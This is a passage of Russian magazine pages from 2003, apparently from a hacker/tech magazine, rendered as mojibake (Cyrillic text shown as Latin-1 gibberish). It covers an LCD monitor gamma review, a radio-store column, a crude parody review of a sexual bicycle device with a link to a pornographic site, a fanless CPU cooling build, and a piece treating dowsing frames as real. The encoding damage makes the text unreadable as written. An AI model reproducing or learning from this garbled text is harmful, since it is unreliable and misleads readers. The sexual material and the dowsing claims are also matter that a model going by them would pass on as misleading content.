íåéíûé, à ïàðàáîëè÷åñêèé. Ýòî çíà-
÷èò, ÷òî âûõîäíàÿ ÿðêîñòü êàæäîãî
öâåòà ðàâíà âõîäíîé ÿðêîñòè, âîç-
âåäåííîé â ñòåïåíü «ãàììà». Òî
åñòü ìû ïîëó÷àåì íå òó ÿðêîñòü, êî-
òîðóþ õîòåëè, à èñêàæåííóþ âîçâå-
äåíèåì â ñòåïåíü. ×åì ìåíüøå ãàì-
ìà, òåì ïàðàáîëà ïðÿìåå - áîëüøå
ïîõîæà íà ëèíèþ, òåì òî÷íåå öâå-
òîïåðåäà÷à. Ó LCD ìîíèòîðîâ ãàì-
ìà òðàäèöèîííî ïîáîëüøå, ÷åì ó
CRT. Ïîýòîìó íåêîòîðûå íå îïòèìè-
çèðîâàííûå äëÿ îòîáðàæåíèÿ íà
ìîíèòîðå ôîòîãðàôèè âûãëÿäÿò õó-
æå íà ÆÊ, ÷åì íà ÝËÒ.

Íî ýòî íå åäèíñòâåííàÿ áåäà, äå-
ëî â òîì, ÷òî ó ìíîãèõ TFT-äèñïëå-
åâ ãðàôèê äàëåê îò ïàðàáîëû, òî
åñòü îí èçãèáàåòñÿ íåïðèÿòíûìè
áóãðàìè è ïó÷íîñòÿìè, ÷òî äåëàåò
îòîáðàæåíèå öâåòîâ íåïðåäñêàçóå-
ìûì. Äëÿ íàãëÿäíîñòè íàøå ïðîã-
ðàììíîå îáåñïå÷åíèå ïðåîáðàçîâà-
ëî ïàðàáîëû êàæäîãî öâåòà â òðè
ëèíèè çà ñ÷åò êîððåêöèè. Ìû ðåøè-
ëè ñðàâíèòü æèäêîêðèñòàëëè÷åñêèé
SAMSUNG SyncMaster 192T c ýëåêò-
ðîííîëó÷åâûì SAMSUNG
SyncMaster 957MB. Êîíå÷íî, íà ãðà-
ôèêå öâåòîïåðåäà÷è ñ êîððåêöèåé
åñòü íåáîëüøîé ãîðáèê â ñàìîì íà-
÷àëå. Îäíàêî îáùàÿ êàðòèíà ãîâî-
ðèò î òîì, ÷òî SAMSUNG SyncMaster
192T îòîáðàæàåò öâåòà ïî÷òè òàê
æå êîððåêòíî, êàê ÝËÒ-ìîíèòîð.
Ïðè ýòîì íåêîòîðûå öâåòà äàæå ïî-
ÿð÷å ÝËÒ.

Êîíå÷íî, ìû çàáûëè ñêàçàòü î
òîì, ÷òî íîâåéøèå ìîíèòîðû LCD
äàäóò ôîðó CRT ïî ÿðêîñòè è êîíò-
ðàñòíîñòè. SAMSUNG SyncMaster
192T äàåò 250 êàíäåë íà êâàäðàò-
íûé ìåòð (åñëè ïîñòàâèòü ÿðêîñòü
íà ìàêñèìóì, êàæåòñÿ, ÷òî ñìîò-
ðèøü íà ëàìïó). Ïðè÷åì ñâåòëûé
ó÷àñòîê ìîæåò áûòü â 500 ðàç ÿð÷å
(êîíòðàñòíåå) òåìíîãî (îáû÷íûé
óðîâåíü êîíòðàñòíîñòè 400:1). Íå
íàäî çàáûâàòü, ÷òî ÆÊ-äèñïëåé
òðàäèöèîííî îòëè÷àåòñÿ ïðàêòè÷åñ-
êè èäåàëüíûìè: ãåîìåòðèåé, ôîêó-
ñèðîâêîé è ñâåäåíèåì. À ýòè ïàðà-
ìåòðû òàêæå ñèëüíî âëèÿþò íà
ïðîñìîòð ôîòîãðàôèé. Òî åñòü â
áëèæàéøåì áóäóùåì åñòü íàäåæäà,
÷òî ìîíèòîðû íà òîíêîïëåíî÷íûõ
òðàíçèñòîðàõ (TFT) áóäóò îòîáðà-
æàòü ôîòîãðàôèè äàæå ëó÷øå, ÷åì
ýëåêòðîííîëó÷åâûå.

Ìû ìîæåì ðåêîìåíäîâàòü ýòîò ìî-
íèòîð íå òîëüêî äëÿ ðàáîòû ñ
îôèñíûìè ïðèëîæåíèÿìè, íî è äëÿ
èãð, äëÿ ïðîñìîòðà ôèëüìîâ è ôî-
òîãðàôèé. È, êîíå÷íî, îí î÷åíü
ïîäõîäèò äëÿ ÷åð÷åíèÿ. Öèôðîâîé
âèäåîâõîä DVI ïîçâîëèò èçáåæàòü
ïðîáëåì ñ ðàçìûòîñòüþ ïèêñåëåé â
áóêâàõ è ëèíèÿõ.

E

HARD/SAMSUNG SyncMaster 192T
O

S
 4

U
S

E

page 094 07(32) 2003

ÊÀ×ÅÑÒÂÅÍÍÛÉ LCD

test-lab (test_lab@gameland.ru)

Ê

SAMSUNG SYNCMASTER 192T

Íà ãðàôèêàõ ñðàâíèâàþòñÿ LCD è CRT ìî-

íèòîð. Êàæäûé öâåò (êðàñíûé, çåëåíûé,

ñèíèé) ñ êîððåêöèåé â èäåàëå äîëæåí

áûòü ïðÿìûì è èäòè èç óãëà â óãîë. Ïàðà-

áîëà � îòîáðàæàåò ñòàíäàðòíóþ öâåòîïå-

ðåäà÷ó áåç êîððåêöèè ñ ó÷åòîì ãàììû.

SAMSUNG SyncMaster 192T

Ëþáîé ìîíè-
òîð âûäàåò
öâåòà íå
î÷åíü òî÷íî,
åãî ãðàôèê
íå ëèíåé-
íûé, à ïàðà-
áîëè÷åñêèé.





Åñëè ó òåáÿ åñòü ñâîè ðàäèî: -íîâîñòè; -ïðèêîëû; -ìåòîäû; -ðåøåíèÿ; -èíñòðóìåíòû; 
-óñòðîéñòâà; -ìíåíèÿ, � ïîäåëèñü ñ íàìè. Ïðèåì ðàäèîìûñëåé íà Dr.Cod@real.xakep.ru

ñòðå÷àé î÷åðåäíîé
ïåñòðûé ïàÿëüíèê
áóðíûìè àïëîäèñìåí-
òàìè. À äëÿ íà÷àëà �

ñíîãñøèáàòåëüíàÿ íîâîñòü:

Íîâîñòü: 
Äîáðÿíñêèé â ðàäèîìàãàçå!
Ïî ïóòè ñ î÷åðåäíîé ïðåçåíòàöèè
î÷åðåäíûõ ïðîöåññîðîâ ÿ íàêîíåö-
òî çàñêî÷èë â ñâîé ëþáèìûé ðàäèî-
ìàãàçèí! Íå ñêàæó, êàêîé, ÷òîáû íå
äåëàòü ëèøíåé ðåêëàìû. Êòî çíàåò,
òîò äîãàäàåòñÿ, âåäü â Ìîñêâå íå òàê
óæ è ìíîãî ðàäèîìàãàçèíîâ. Òàê âîò,
ìàãàç îòðåìîíòèðîâàëè, è îí ïðåâðà-
òèëñÿ â ñóïåðìàðêåò. Òåïåðü òû ìî-
æåøü ïîëàïàòü ðàäèîêîìïîíåíòû,
ïîíþõàòü, áëèæå ðàññìîòðåòü! Ñëî-
âîì, ìîæíî îùóòèòü ñåáÿ ñðåäè ðà-
äèîäåòàëåé äîìîõîçÿéêîé, êîòîðàÿ
ñêëàäûâàåò â êîðçèíó çàìîðîæåí-
íûå îãóðöû è äðóãèå ïîëóôàáðèêà-
òû. Îõ, íåëüçÿ, íåëüçÿ ìíå ñ áîëü-

øîé ñóììîé äåíåã ïîÿâëÿòüñÿ â òà-
êèõ ìåñòàõ, ÿ ñðàçó âñïîìèíàþ, ÷åãî
äàâíî õîòåë êóïèòü: ãëàçà ðàçáåãà-
þòñÿ, ñëþíè òåêóò, ðóêè òðÿñóòñÿ - â
òàêîì ñîñòîÿíèè äåíüãè òåðÿþò âñÿ-
êèé ñìûñë! Âîêðóã íà ìåíÿ ñìîòðÿò
ìóëüòèìåòðû, öèôðîâûå îñöèëëîã-
ðàôû, âåíòèëÿòîðû, êíèãè, ýëåêòðîí-
íûå êîíñòðóêòîðû, ïàÿëüíûå ñòàí-
öèè è äðóãèå ïîëåçíûå âåùè! À êîð-
ïóñà - ïðîñòî ïðåëåñòü, åùå Äìèòðèé
èç «ïî÷òîâîãî ÿùèêà» ãîâîðèë, ÷òî
óñòðîéñòâî áåç êîðïóñà - âñåãäà íå-
äîäåëàíî! Ñäåëàë äåâàéñ - óïàêóé
åãî â êîðïóñ, âîîáùå íà÷èíàòü ëó÷-
øå ñ êîðïóñà, èíà÷å òâîå òâîðåíèå
ïðåâðàòèòñÿ â îáû÷íûé ðàäèîõëàì è
îñÿäåò â ïûëüíîì óãëó. Òàê âîò, òóò
íåâåðîÿòíûé âûáîð êîðïóñîâ! À ýòè
êàññû äëÿ ðàäèîýëåìåíòîâ...

Ëàäíî, ÿ óâëåêñÿ. Ê ÷åìó ýòî ÿ?
Ýòîò ñóïåðìàðêåò îòðàæàåò èäåè
ñîâðåìåííîé ðàäèîýëåêòðîíèêè: âñå
ñîáèðàåòñÿ èç ãîòîâûõ áëîêîâ. Ìíî-
ãèå ïðóòñÿ îò ñáîðêè êîìïîâ. Ïîêó-
ïàåøü ìàòü, ïðîöåññîð, âèäþõó, ïà-
ìÿòü, âåíòèëÿòîð, êîðïóñ, è ìîæíî
ðàáîòàòü. Ïðîöåññ ñáîðêè ñîâðåìåí-
íîãî ðàäèîýëåêòðîííîãî óñòðîéñòâà
ñèëüíî ïîõîæ. Ïðè÷åì ÷àñòî ìîæíî
äàæå îáîéòèñü áåç ïàéêè. ×åì ãå-
ìîððîèòüñÿ ñî ñðåäíåâåêîâûìè ñõå-
ìàìè íà òðàíçèñòîðàõ, óæ ëó÷øå êó-
ïèòü ãîòîâóþ ìèêðîñõåìó èëè áëîê.
Ñåé÷àñ íàñòóïàåò òàêîå âðåìÿ, êîã-
äà äåéñòâèòåëüíî âûãîäíåå âçÿòü
ãîòîâîå. Îáúÿñíÿþ: ÷òîáû íàñòðî-
èòü ÷òî-òî íà òðàíçèñòîðàõ, òåáå
íóæíî äîôèãà âðåìåíè, íóæíà äî-
ðîãàÿ àïïàðàòóðà: îñöèëëîãðàô,
ìóëüòèìåòð, ÷àñòîòîìåð, èñïûòà-
òåëüíûé ãåíåðàòîð. Ïðè÷åì âðÿä ëè
òû ãäå-òî åùå ñìîæåøü èñïîëüçî-
âàòü óæå ïàÿííûå òðàíçþêè. Äðóãîå
äåëî ÏËÌ (ïðîãðàììèðóåìàÿ ëîãè-
÷åñêàÿ ìàòðèöà) èëè ìèêðîïðîöåñ-
ñîð, èõ òû ìîæåøü äî îïóïåíèÿ ïå-
ðåøèâàòü íà êîìïüþòåðå è ïðèìå-
íÿòü â íîâûõ è íîâûõ ñõåìàõ, âñòàâ-
ëÿÿ â ïàíåëü íà ñóõîé ïàéêå.

ïðèêîë: Ðåöåíçèÿ 
íà óñòðîéñòâî «Dildo Bike»
Òóò íàø ïîñòîÿííûé ïàÿëüíûé àâ-
òîð Ýëåêòðè÷åñêèé Óòþã 
(e-tug@mail.ru) ïðèñëàë ññûëêó íà
î÷åíü èíòåðåñíûé ìåõàíèçì. Íàçû-

âàåòñÿ Dildo Bike èëè âåëîâèáðàòîð
(ôàëëîñèïåä) ïî-íàøåìó. Òî åñòü
âèáðàòîð ñîâìåùåí ñ âåëîñèïåäîì,
è äåâóøêà ìîæåò íå òîëüêî äîåõàòü
èç ïóíêòà «À» â ïóíêò «Á», íî è èñ-
ïûòàòü ïðè ýòîì íåñêîëüêî îðãàç-
ìîâ ïîäðÿä. Ôîòêè ñ èñïûòàíèé âå-
ëîâèáðàòîðà âûëîæåíû íà ñàéòå
http://www.jizz-ccity.com/tgp/
dildo-bbike/indexfr6piw.html. Çàïðå-
ùàåòñÿ ïîñåùàòü ýòîò ðåñóðñ, åñëè
òåáå íåò 18 ëåò èëè òâîè ðåëèãèîç-
íûå óáåæäåíèÿ ïðîòèâîðå÷àò õàðä-
êîðíîìó ñîäåðæàíèþ.

Äàâàé ïîñìîòðèì íà ïðèëè÷íóþ
ôîòîãðàôèþ ýòîãî óñòðîéñòâà (äî
èñïûòàíèé). Ñõåìà äîñòàòî÷íî ñëîæ-
íà, ñðàçó âèäíî, ÷òî äåëàë åå ñóìàñ-
øåäøèé ìåõàíèê (íå ýëåêòðîíùèê).
Âçÿò îáû÷íûé ñïîðòèâíûé âåëèê ñ
áîëüøèì êîëè÷åñòâîì ñêîðîñòåé -
èç-çà òîãî, ÷òî ñ ïåäàëÿìè ñâÿçàíî
íåñêîëüêî øåñòåðåíîê. ×åðåç îäíó
èç øåñòåðåíîê ïåðåêèíóòà äîïîëíè-
òåëüíàÿ öåïü, â ðåçóëüòàòå âîçíèêà-
þò îãðàíè÷åíèÿ ïî ïåðåêëþ÷åíèþ
ñêîðîñòåé. Ðÿäîì ñ ñèäåíüåì çàêðåï-
ëåíà äîïîëíèòåëüíàÿ øåñòåðåíêà,
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Ïåäàëüíàÿ ñàìîõîäíàÿ ñèñòåìà

àâòîóäîâëåòâîðåíèÿ «Dildo Bike»

1) Âîäèòåëüíèöà äèëäîáàéêà; 2) Ñèäåíüå
ñ îòâåðñòèåì è òðóáêîé; 3) Ñèëèêîíîâûé
âèáðàòîð, çàêðåïëåííûé â ìåòàëëè÷åñ-
êîé òðóáå-øòàòèâå; 4) Íàïðàâëÿþùàÿ,
ïî êîòîðîé åçäèò øòàòèâ ñ dildo; 5) Øà-
òóí (êàê ó ïàðîâîçà - ïðåîáðàçóåò âðà-
ùàòåëüíîå äâèæåíèå â ïîñòóïàòåëüíîå);
6) Øåñòåðåíêà ïðèâîäà âèáðàòîðà; 7)
Öåïü ïðèâîäà âèáðàòîðà; 8) Øåñòåðåíêà
ïåäàëåé

Ñäåëàë äå-
âàéñ - óïàêóé
åãî â êîðïóñ,
âîîáùå íà÷è-
íàòü ëó÷øå ñ
êîðïóñà, èíà-
÷å òâîå òâî-
ðåíèå ïðåâ-
ðàòèòñÿ â
îáû÷íûé ðà-
äèîõëàì è
îñÿäåò â
ïûëüíîì óã-
ëó.
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íî íå íà îñè, à íà ìåòàëëè÷åñêîì
êâàäðàòå áåç ïîäøèïíèêîâ. Ýòî çíà-
÷èò, ÷òî îíà áóäåò äâèãàòüñÿ ñî ñêðè-
ïîì, à öåïü ïðèâîäà âèáðàòîðà áó-
äåò ïîñòîÿííî ñëåòàòü. Îáû÷íûé ñè-
ëèêîíîâûé âèáðàòîð èç ñåêñ-øîïà
çàêðåïëÿåòñÿ â ìåòàëëè÷åñêîé òðó-
áå, êîòîðàÿ äâèãàåòñÿ ïî íàïðàâëÿþ-
ùåé, ïðèâàðåííîé ê ðàìå. Â ñèäåíüå
ïðîäåëàíî îòâåðñòèå, à ÷òîáû âèáðà-
òîð ïðîõîäèë ñâîáîäíî, â ýòî îòâå-
ðñòèå âñòàâëåíà ïëàñòèêîâàÿ òðóáêà,
à óæå â íåå âèáðàòîð. Â ðåçóëüòàòå
ìîæíî ñäåëàòü âûâîä, ÷òî âèáðàòîð
äâèæåòñÿ â ñèäåíüå ñ áîëüøèì íàï-
ðÿãîì, çàåäàåò, ýòî ìîæåò ïðèâåñòè ê
ïàäåíèþ ñ âåëîñèïåäà è òðàâìàì âå-
ëîñèïåäèñòêè. Ïðåäñòàâü, ÷òî âî
âðåìÿ äâèæåíèÿ ó òåáÿ çàåäàþò ïå-
äàëè. Ïðè ýòîì íà ñèäåíüå èç-çà
ïëàñòèêîâîé òðóáêè âåñüìà íåêîì-
ôîðòíî ñèäåòü. Âèáðàòîð ïðèâîäèò-
ñÿ â äâèæåíèå ÷åðåç øàòóí, ñîåäè-
íÿþùèé øåñòåðíþ è êðåïåæ âèáðà-
òîðà. Åñòü ïîäîçðåíèå, ÷òî øàòóí çà-
äåâàåò çà íîãó íàåçäíèöû.

Âûâîä: âåëîâèáðàòîð ýòîé
êîíñòðóêöèè - î÷åíü ñòðåìíîå óñò-
ðîéñòâî. Ïðèìåíÿòü åãî ìîãóò òîëü-
êî òðåíèðîâàííûå ïîðíîçâåçäû.
Ñåñòü íà òàêîé âåëîñèïåä íå òàê-òî
ïðîñòî, âîçìîæíî äàæå íåîáõîäè-
ìà ïîìîùü àññèñòåíòà! Ïîñêîëüêó
êàê òîëüêî íà÷èíàåòñÿ âðàùåíèå
ïåäàëåé, âèáðàòîð íà÷èíàåò äâè-
ãàòüñÿ. Íî ñàìîå ãëàâíîå - ïðè îò-
êàçå èëè çàåäàíèè êàêîé-ëèáî ÷àñ-
òè ìåõàíèçìà íåèçáåæíî íàíåñå-
íèå òÿæåëîé ôèçè÷åñêîé òðàâìû
âåëîñèïåäèñòêå. Ñàìîñòîÿòåëüíî
òàêîå óñòðîéñòâî ñîáðàòü ïðàêòè-
÷åñêè íåâîçìîæíî.

Äàëåå Ýëåêòðè÷åñêèé Óòþã (e-
tug@mail.ru) ðàññêàçûâàåò î òîì, êàê
áû äåëàë âåëîâèáðàòîð ýëåêòðîí-
ùèê (÷åëîâåê, äàëåêèé îò ñóìàñøåä-
øåé ìåõàíèêè). Ýëåêòðîíùèê êóïèò
ñåðòèôèöèðîâàííîå áåçîïàñíîå
dildo ñ èíòåãðèðîâàííûì ýëåêòðîìî-
òîð÷èêîì. Âñÿ ìåõàíèêà â òàêîì âèá-
ðàòîðå ñîçäàíà íà çàâîäå ñïåöèà-
ëèñòàìè è íå ïðè÷èíèò âðåäà äåâóø-
êå ïðè îòêàçå. Íà âåëîñèïåä óñòà-
íàâëèâàåòñÿ äèíàìêà (ýëåêòðîãåíå-
ðàòîð ñ ïðèâîäîì îò êîëåñà). Ïðè
êîíñòðóêöèè íå îáÿçàòåëüíî çàêðåï-
ëÿòü dildo íà ñèäåíüå, ìîæíî äàæå
åçäèòü íà âåëîñèïåäå â îäåæäå.
Âèáðàòîð ìîæíî èñïîëüçîâàòü íå
òîëüêî âàãèíàëüíûé, íî è àíàëüíî-
âàãèíàëüíûé. Ïðè ýòîì åùå è âåëî-
ñèïåäíûé ôîíàðèê ðàáîòàòü áóäåò,
÷òî äàñò âîçìîæíîñòü äëÿ âå÷åðíèõ
è íî÷íûõ âåëîâèáðîïðîãóëîê.

Ïîñêîëüêó äèíàìêà âûðàáàòûâàåò
áîëüøóþ ìîùíîñòü ïðè áîëüøåé
ñêîðîñòè, âèáðàòîð áóäåò ðàáîòàòü
ýíåðãè÷íåå íà âûñîêèõ ñêîðîñòÿõ
(òàê æå, êàê è â ìåõàíè÷åñêîé ìîäå-
ëè). Îäíàêî çäåñü ìû áåç òðóäà ìî-
æåì âêëþ÷èòü ñõåìó ðåãóëèðîâà-
íèÿ çàâèñèìîñòè óäîâîëüñòâèÿ îò
ñêîðîñòè. Âåäü â öåïü ïèòàíèÿ
ýëåêòðîâèáðàòîðà îò äèíàìêè ìîæ-

íî âêëþ÷èòü ðåîñòàò. Ó âñåõ ïðî-
ìûøëåííûõ dildo òàêîé ðåîñòàò óæå
èìååòñÿ! Âåäü äëÿ äåâóøêè î÷åíü
âàæíà âîçìîæíîñòü ïîäáîðà èíäè-
âèäóàëüíîé ÷àñòîòû äâèæåíèÿ èñ-
êóññòâåííîãî ïåðöà. Íó à åñëè äå-
âóøêà ëþáèò îñòðûå îùóùåíèÿ è
åé íå õâàòàåò ìîùíîñòè, ìîæíî äî-
áàâèòü åùå îäíó äèíàìêó!

Äåâóøêà, ïèëîòèðóþùàÿ ìåõàíè-
÷åñêèé âåëîâèáðàòîð, âûíóæäåíà
ðàçúåçæàòü ãîëûøîì, ÷òî ñèëüíî
ñóæàåò îáëàñòü ïðèìåíåíèÿ óñò-
ðîéñòâà. Íàåçäíèöà ýëåêòðè÷åñêîãî
äèëäîáàéêà ìîæåò êàòàòüñÿ â îäåæ-
äå, íå ïðèâëåêàÿ ê ñåáå äîïîëíè-
òåëüíîãî âíèìàíèÿ íè÷åì, êðîìå
ãðîìêèõ ñòîíîâ. Òàêèì îáðàçîì,
ýëåêòðîäèëäîâåëîñèïåä ìîæíî
ïðèìåíÿòü êàê â êîìïàíèè, òàê è
äëÿ îäèíî÷íûõ âèáðîïîåçäîê, êàê â
÷åðòå ãîðîäà, òàê è çà ãîðîäîì.
Âðÿä ëè êòî-íèáóäü äîãàäàåòñÿ.

Èòàê, â ðåçóëüòàòå ïðèìåíåíèÿ
ýëåêòðîíèêè ìû ñäåëàëè óñòðîé-
ñòâî áîëåå äåøåâûì, áîëåå ïðîñ-
òûì â ñáîðêå, ãîðàçäî áîëåå áåçî-
ïàñíûì è áåçîòêàçíûì, áîëåå íåçà-
ìåòíûì è áîëåå ôóíêöèîíàëüíûì!

ðåøåíèå: ÁÅÑØÓÌÍÛÉ ÊÎÌÏ II
Â ïðîøëîì íîìåðå ÿ óæå ðàññêàçû-
âàë òåáå ïðî òî, êàê ñîáèðàë áåñ-
øóìíûé êîìïüþòåð. Íàïîìíþ, ÷òî
ê ðàäèàòîðàì áëîêà ïèòàíèÿ ÿ
ïðèêðóòèë ñòðóáöèíàìè ìàññèâíûå
êóñêè ìåòàëëà (ñèñòåìà îõëàæäå-
íèÿ «Àðìàãåääîí»). Ýòî ïîçâîëèëî
îòêàçàòüñÿ îò âåíòèëÿòîðà íà áëî-
êå ïèòàíèÿ. Íà ïðîöåññîð ÿ ïîñòà-
âèë ìåäíûé ðàäèàòîð îò ZALMAN
CNPS3100-GP. Òàê âîò, èñïûòàíèå
æàðêèì ëåòîì ïîêàçàëî, ÷òî ZAL-
MAN ñïðàâëÿåòñÿ ïëîõî: ãðååòñÿ
äî 77 ãðàäóñîâ Öåëüñèÿ ïðè áîëü-
øîé íàãðóçêå íà ïðîöåññîðå Intel
Pentium III 1,3GHz (Tualatin) ñ

÷àñòîòîé, ïîíèæåííîé äî 866MHz.
ZALMAN CNPS3100-GP îòëè÷àåòñÿ

áîëüøîé ïëîùàäüþ ïîâåðõíîñòè. Ñ
îäíîé ñòîðîíû, ýòî õîðîøî, ÷åì
áîëüøå ïëîùàäü ïîâåðõíîñòè, òåì
ëó÷øå. Íî, ñ äðóãîé ñòîðîíû, íå
íóæíî çàáûâàòü î òðåíèè, êîòîðîå
çàäåðæèâàåò âîçäóõ â ÷àñòûõ ïëàñ-
òèíàõ ðàäèàòîðà. ×òîáû ñïðàâèòüñÿ
ñ ýòèì òðåíèåì, ê ZALMAN
CNPS3100-GP ïðèëàãàåòñÿ îãðîì-
íûé âåíòèëÿòîð.

Ïîñêîëüêó ÿ õîòåë áåçâåíòèëÿ-
òîðíûé êîìï, òî ïðèøëîñü ïðèìå-
íèòü äâà ïðàâèëà:

1) êàê ìîæíî áîëüøå ìåòàëëà;
2) êàê ìîæíî ìåíüøå òðåíèÿ î

âîçäóõ.
ß óæå ðàññêàçûâàë, ÷òî áûë íå-

äàâíî â ìîåì ëþáèìîì ðàäèîìàãà-
çèíå. Òàê âîò, òàì ÿ êóïèë îãðîì-
íûé òàíêîâûé ðàäèàòîð ñ òîëñòûìè
ðåäêèìè ïëàñòèíàìè è ìîùíîé ñòà-
íèíîé. Äëÿ ïàññèâíîãî îõëàæäåíèÿ
íàäî ïîêóïàòü ñïåöèàëüíûé ðàäèà-
òîð! Êóëåð, ñêîíñòðóèðîâàííûé ïîä
âåíòèëÿòîð, íå êàòèò èç-çà ïëîòíî-
ãî ðàñïîëîæåíèÿ ïëàñòèí, â êîòî-
ðûõ çàñòàèâàåòñÿ âîçäóõ.

Íîâàÿ ñèñòåìà îõëàæäåíèÿ ïðî-
öåññîðà «Çëîáíîå òåïëî» äàåò 65
ãðàäóñîâ ïðè ìàêñèìàëüíîé íàãðóç-
êå â ëåòíþþ æàðó. À òåïëûìè ëåò-
íèìè íî÷àìè ó ìåíÿ íà ïðîöåññîðå
âñåãî 48-50 ãðàäóñîâ Öåëüñèÿ. Çíà-
÷èò, çèìîþ áóäåò 42-45 ãðàäóñîâ.

Ðàäèàòîð «×åðíûé õîëîä» ÿ ïîñ-
òàâèë íà òåðìîïàñòó, îí äîñòàòî÷íî
ïëîòíî ïðèëåãàåò ê CPU çà ñ÷åò
ñâîåãî âåñà. À ÷òîáû îí ñëó÷àéíî
íå ñâàëèëñÿ, ÿ ïðèâÿçàë åãî ïðîâî-
ëî÷êîé ê ñîêåòó.

E

Ñèñòåìà îõëàæäåíèÿ CPU «Çëîáíîå òåïëî» íà áàçå ðàäèàòîðà ïàññèâíîãî îõëàæäåíèÿ

«×åðíûé õîëîä»

Äîêòîð Äîáðÿíñêèé íå íåñåò îòâåòñòâåííîñòè çà ëþáîé

âðåä, ïðèíåñåííûé â ðåçóëüòàòå èñïîëüçîâàíèÿ

îïóáëèêîâàííîé èíôîðìàöèè. Âñå ìåòîäû è ñõåìû äàíû

òîëüêî â îçíàêîìèòåëüíûõ öåëÿõ.ATTENTION!

Äëÿ ïàññèâ-
íîãî îõëàæ-
äåíèÿ íàäî

ïîêóïàòü
ñïåöèàëüíûé

ðàäèàòîð!



Íà÷àëîñü âñå åùå â øêîëå, ñ ïîâàëüíîãî óâëå÷åíèÿ áèîýíåðãåòèêîé! Ìû ñèäåëè íà
ïåðåìåíå â âåñòèáþëå è óãàäûâàëè, êàêîãî öâåòà òðóñèêè ó îäíîêëàññíèö. Â ýòîì äåëå
óäàëîñü çäîðîâî ïðîäâèíóòüñÿ, êàê òîëüêî ÿ êóïèë áèîðàìêó ó ñòàðîãî
áèîëîêàöèîííîãî èíæåíåðà, êîòîðûé ñòîÿë òîãäà â Ìîñêâå íà Ëóáÿíêå ðÿäîì ñ Ìóçååì
Ìàÿêîâñêîãî. 

ñîæàëåíèþ, ó ñåäîãî,
óìóäðåííîãî îïûòîì
áèîëîêàòîðà íå áûëî

äîìàøíåãî òåëåôîíà. Æèë îí ãäå-
òî â ìåòàëëóðãè÷åñêîì âîåííîì
èíñòèòóòå â ñåêðåòíîé ëàáîðàòî-
ðèè. Òàì êàê ðàç áûëî äîñòàòî÷íî
ìàòåðèàëà äëÿ åãî áèîëîêàöèîííûõ
ðàìîê. Îí ñäåëàë äîñòàòî÷íî èíòå-
ðåñíóþ ôîðìó ðàìêè èç òîëñòîé
àëþìèíèåâîé ïðîâîëîêè, ïîçæå ïî-
ÿâèëèñü ìîäåëè èç ìåäè. Ïðèÿòíî
áûëî òî, ÷òî ñïåöèàëüíûì ãðóçèêîì
ìîæíî áûëî íàñòðîèòü ðàìî÷êó ïîä
ñâîå áèîïîëå. Ñòàëüíûå áèîðàìêè ñ
äåðåâÿííîé ðó÷êîé èç ìèñòè÷åñêèõ
ìàãàçèíîâ òèïà: «Ïóòü ê ñåáå» èëè
«Ìàãè÷åñêèé Êðèñòàëë» íà ìåòðå
Áåëîðóññêîé íå êàòèëè. Îíè áûëè
íåïîìåðíî äîðîãèìè, ïëîõî êðóòè-
ëèñü, ïëîõî îùóùàëèñü è åñòåñò-
âåííî áåçáîæíî âðàëè. Íó ÷òî åùå
âçÿòü îò ïðîìûøëåííîãî øèðïîò-
ðåáà? Îäíàêî ðàìî÷êè, èçãîòîâëåí-
íûå ñåäûì áèîëîêàòîðîì, èçãîòîâ-
ëåííûå åãî ñîáñòâåííûìè ðóêàìè,
ïðîïèòàííûå åãî ýíåðãåòèêîé, ñ
ïðèìåíåíèåì ñàìûõ ïîñëåäíèõ âî-
åííûõ òåõíîëîãèé â îáëàñòè ìàòå-
ðèàëîâåäåíèÿ øëè ïðîñòî íà óðà!

Ðàáîòàòü ñ ðàìêîé íå òàê-òî ïðîñ-
òî. Ïðåæäå âñåãî, íàäî ñîáëþäàòü
áèîýíåðãåòè÷åñêóþ ãèãèåíó, òî åñòü
íèêîìó íåëüçÿ äàâàòü ñâîþ ðàìî÷-
êó. Èíà÷å îíà áóäåò âðàòü. Åñëè ñ
ðàìêîé êàêèå-òî íåëàäû, íóæíî
ïðîâåñòè ïî íåé ðóêîþ, ÷òîáû ïî-
ëó÷øå çàðÿäèòü ñâîåé ýíåðãèåé.
Êñòàòè, òàêàÿ îïåðàöèÿ àíàëîãè÷íà

êíîïêå �RESET� íà êîìïå. ×òîáû
ïîëó÷èòü ÷åòêèé âîïðîñ íà îòâåò,
íóæíî ÷åòêî åãî çàäàòü. Íî íè â êî-
åì ñëó÷àå íåëüçÿ æóëüíè÷àòü,
íåëüçÿ áûòü çàèíòåðåñîâàííûì,
èíà÷å ðàìêà áóäåò ïîêàçûâàòü
òîëüêî òîò âàðèàíò, êîòîðûé òåáå
áîëåå ïðåäïî÷òèòåëåí. Íàîáîðîò,
íàäî îòñòðàíèòüñÿ, óáåäèòü ñåáÿ
÷òî òåáå âñå ðàâíî êàêîãî öâåò òðó-
ñèøêè ó îäíîêëàññíèöû. Òîëüêî
òîãäà ìîæíî ðàññ÷èòûâàòü íà áî-
ëåå òî÷íûé îòâåò. Íóæíî çíàòü î
÷åì ñïðàøèâàòü ðàìêó, íàïðèìåð
íåëüçÿ åå ñðàâíèâàòü î áóäóùåì,
ïîòîìó ÷òî áóäóùåå íå ïðåäîïðå-
äåëåíî. Ðàìêà ìîæåò îòâåòèòü òåáå
òîëüêî íà ôàêòû, íó èëè ïðåäñêà-
çàòü ñîáûòèÿ ñ êàêîé-òî âåðîÿò-
íîñòüþ íà îñíîâå èçâåñòíûõ ôàê-
òîâ. Íî ðàìêå íå âåäîìî áóäóùåå,
äëÿ íåå åãî ïðîñòî íåò. Íà ñàìîì
äåëå íå ïûòàòüñÿ ïðåäñêàçàòü áó-
äóùåå ó÷àò ìíîãèå ïðîôåññèîíàëü-
íûå ìåäèóìû, ïîñêîëüêó ìîæåò ïî-
ÿâèòüñÿ àñòðàëüíàÿ ñóùíîñòü
«äóõ», êîòîðûé áóäåò îáìàíûâàòü
÷åëîâåêà æàæäóùåãî ïðåäñêàçà-
íèé, à âçàìåí ïèòü åãî æèçíåííóþ
ýíåðãèþ! Ñëîâîì, áóäóùåå ìîæíî
òîëüêî ïðîãíîçèðîâàòü ñ êàêîé-òî
äîëåé âåðîÿòíîñòè, íî íå ïðåäñêà-
çûâàòü!

Èòàê, êàê æå èñïîëüçîâàòü áèî-
ðàìêó? Íóæíî âçÿòü áèîðàìêó â ðó-
êè, åñëè îíà íîâàÿ èëè êòî-òî åå ëà-
ïàë, òî íóæíî î÷èñòèòü åå ïîä ñòðó-
åé õîëîäíîé âîäû, èëè â äðóãîé
ïðîòî÷íîé âîäå, â ðó÷üå íàïðèìåð.
Ïîñëå î÷èñòêè ïî íåé íóæíî ïîâî-
